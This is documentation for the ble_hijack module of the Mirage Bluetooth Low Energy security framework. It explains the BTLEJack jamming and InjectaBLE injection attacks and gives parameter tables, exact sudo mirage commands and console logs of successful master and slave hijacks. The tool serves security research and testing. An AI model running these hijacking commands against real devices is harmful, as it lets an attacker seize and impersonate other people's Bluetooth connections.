ble_hijack ========== Presentation ------------ **ble_hijack** implements active attacks allowing to hijack the slave or the master role of a Bluetooth Low Energy connection. It can perform the jamming based BTLEJack attack, allowing to hijack the master or the slave role, but also the injection based hijacking attacks provided by InjectaBLE. * The BTLEJack attack sniffs an established connection, synchronizes to it and jams the packet emitted by the slave. As a consequence, if the master reachs its timeout value, it disconnects from the slave device and the attacker is able to communicate with the slave device instead of him. * The InjectaBLE attacks sniffs a connection, injects a malicious packet into it to disconnects the Master or the Slave, then synchronize with the other device and mimicks the hijacked role. This module allows to hijack a new connection (setting the input parameter *HIJACKING_MODE* to "newConnections") or an established connection (setting the input parameter *HIJACKING_MODE* to "existingConnections". Some additional parameters can be provided, allowing to "help" the module to find the right target (*TARGET* for a new connection, *ACCESS_ADDRESS*, *CRC_INIT* and *CHANNEL_MAP* for an existing connection). This module needs `ble_sniff `_, and cannot be used alone. Indeed, when the connection is hijacked, the module terminates its execution, allowing to run another module, such as `ble_master `_ or `ble_discover `_. It can be used similarly to the module `ble_connect `_. .. warning:: These attacks are sometimes unstable, and may require multiple attempts. This module is *experimental* and is only provided as a proof of concept. Compatible devices ------------------ * `ButteRFly Device `_ * `BTLEJack Device `_ Input parameters ----------------- +----------------------------------------+---------------------------------------+-------------------------------------------------------------+---------------------------------------------------------------------------------+ | Name | Default value | Possible values | Description | +========================================+=======================================+=============================================================+=================================================================================+ | INTERFACE | microbit0 | microbitX, butterflyX | Primary interface to use | +----------------------------------------+---------------------------------------+-------------------------------------------------------------+---------------------------------------------------------------------------------+ | INTERFACEA | | microbitX, butterflyX | Optionnal additional interface | +----------------------------------------+---------------------------------------+-------------------------------------------------------------+---------------------------------------------------------------------------------+ | INTERFACEB | | microbitX, butterflyX | Optionnal additional interface | +----------------------------------------+---------------------------------------+-------------------------------------------------------------+---------------------------------------------------------------------------------+ | TARGET | | | Target address | +----------------------------------------+---------------------------------------+-------------------------------------------------------------+---------------------------------------------------------------------------------+ | CHANNEL | 37 | 37\|38\|39 | Communication channel to observe | +----------------------------------------+---------------------------------------+-------------------------------------------------------------+---------------------------------------------------------------------------------+ | HIJACKING_MODE | newConnections | newConnections\|existingConnections | Hijacking strategy | +----------------------------------------+---------------------------------------+-------------------------------------------------------------+---------------------------------------------------------------------------------+ | ROLE | master | master\|slave | Role to hijack | +----------------------------------------+---------------------------------------+-------------------------------------------------------------+---------------------------------------------------------------------------------+ | ACCESS_ADDRESS | | 0xYYYY | Access address for an existing connection | +----------------------------------------+---------------------------------------+-------------------------------------------------------------+---------------------------------------------------------------------------------+ | CRC_INIT | | 0xYYYYYY | CRCInit for an existing connection | +----------------------------------------+---------------------------------------+-------------------------------------------------------------+---------------------------------------------------------------------------------+ | CHANNEL_MAP | | 0xYYYYYYYYYY | Channel Map for an existing connection | +----------------------------------------+---------------------------------------+-------------------------------------------------------------+---------------------------------------------------------------------------------+ Output parameters ------------------ +----------------------------------------+-------------------------------------------------------------+----------------------------------------------------------------------+ | Name | Possible values | Description | +========================================+=============================================================+======================================================================+ | INTERFACE | microbitX | Primary interface used | +----------------------------------------+-------------------------------------------------------------+----------------------------------------------------------------------+ Usage ------ Hijacking the master role in a new connection ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If you use a Microbit device, the hijacking strategy will be based on jamming, however if you use a ButteRFly device, the strategy will be based on InjectaBLE attack (e.g. injection malicious packet into an established BLE connection). If you want to easily hijack a new connection, please sets "newConnections" as value of the input parameter *HIJACKING_MODE* and "master" as value of the input parameter *ROLE*: :: $ sudo mirage "ble_hijack|ble_master" ble_hijack1.HIJACKING_MODE=newConnections ble_hijack1.ROLE=master [INFO] Module ble_hijack loaded ! [INFO] Module ble_master loaded ! [SUCCESS] BTLEJack device #0 successfully instantiated (firmware version : 3.14) [INFO] Custom Mirage Firmware used ! Advertisements sniffing and jamming will be supported. ┌Sniffed Connection─────────┬──────────────┬──────────────┬───────────────┐ │ Access Address │ CRCInit │ Channel Map │ Hop Interval │ Hop Increment │ ├────────────────┼──────────┼──────────────┼──────────────┼───────────────┤ │ 0x88262126 │ 0xe12e70 │ 0x1e007fffff │ 36 │ 6 │ └────────────────┴──────────┴──────────────┴──────────────┴───────────────┘ [INFO] Recovering Hop Interval ... [SUCCESS] Hop Interval successfully recovered : 36 [INFO] Recovering Hop Increment ... [SUCCESS] Hop Increment successfully recovered : 6 [INFO] All parameters recovered, following connection ... ┌Sniffed Connection─────────┬──────────────┬──────────────┬───────────────┐ │ Access Address │ CRCInit │ Channel Map │ Hop Interval │ Hop Increment │ ├────────────────┼──────────┼──────────────┼──────────────┼───────────────┤ │ 0x88262126 │ 0xe12e70 │ 0x1e007fffff │ 36 │ 6 │ └────────────────┴──────────┴──────────────┴──────────────┴───────────────┘ [INFO] Hijacking in progress ... [MASTER|0x88262126]: Then, you can use the `ble_master `_, exactly as if you used it alone or with `ble_connect `_. Hijacking the master role in an existing connection ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Similarly, if you want to hijack an existing connection, please sets "existingConnections" as value of the input parameter *HIJACKING_MODE* : :: $ sudo mirage "ble_hijack|ble_master" ble_hijack1.HIJACKING_MODE=existingConnections ble_hijack1.ROLE=master Then, the execution is quite similar to the previously described one. Hijacking the slave role in a new connection ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ You can perform a slave hijacking attack using ButteRFly device, based on InjectaBLE attack. Please sets "newConnections" as value of the input parameter *HIJACKING_MODE* and "slave" as value of the input parameter *ROLE*: :: sudo mirage "ble_hijack|ble_slave" ble_hijack1.INTERFACE=butterfly0 ble_hijack1.HIJACKING_MODE=newConnections ble_hijack1.ROLE=slave [sudo] Mot de passe de rcayre : [INFO] Module ble_hijack loaded ! [INFO] Module ble_slave loaded ! [SUCCESS] ButteRFly device successfully instantiated ! [PACKET] [ CH:37|CLK:158609287.0|RSSI:0dBm ] << BLE - Advertisement Packet | type=CONNECT_REQ | srcAddr=5B:F0:E9:8F:91:46 | dstAddr=74:DA:EA:91:47:E3 | accessAddress=0x9e25da8b| crcInit=0x832bb3| channelMap=0x1fffe007ff| hopInterval=36| hopIncrement=9 >> ┌Sniffed Connection─────────┬──────────────┬──────────────┬───────────────┐ │ Access Address │ CRCInit │ Channel Map │ Hop Interval │ Hop Increment │ ├────────────────┼──────────┼──────────────┼──────────────┼───────────────┤ │ 0x8bda259e │ 0xb32b83 │ 0x1fffe007ff │ 36 │ 9 │ └────────────────┴──────────┴──────────────┴──────────────┴───────────────┘ [INFO] Attack started in 5 seconds... [PACKET] [ CH:9|CLK:158638763.0|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_FEATURE_REQ | data=ff7d000000000000 >> [...] [PACKET] [ CH:23|CLK:161293813.0|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_CHANNEL_MAP_REQ | data=ff01e0ff1f8d00 >> [INFO] Starting Master Hijacking attack: injecting LL_TERMINATE_IND... [SUCCESS] Attack successful ! [INFO] SubInterface available: butterfly0:sub1 (slave) [INFO] Instantiating subdevice :butterfly0:sub1 [INFO] No filename provided : empty database ! [SLAVE]: Then, you can use the `ble_slave `_, exactly as if you used it directly.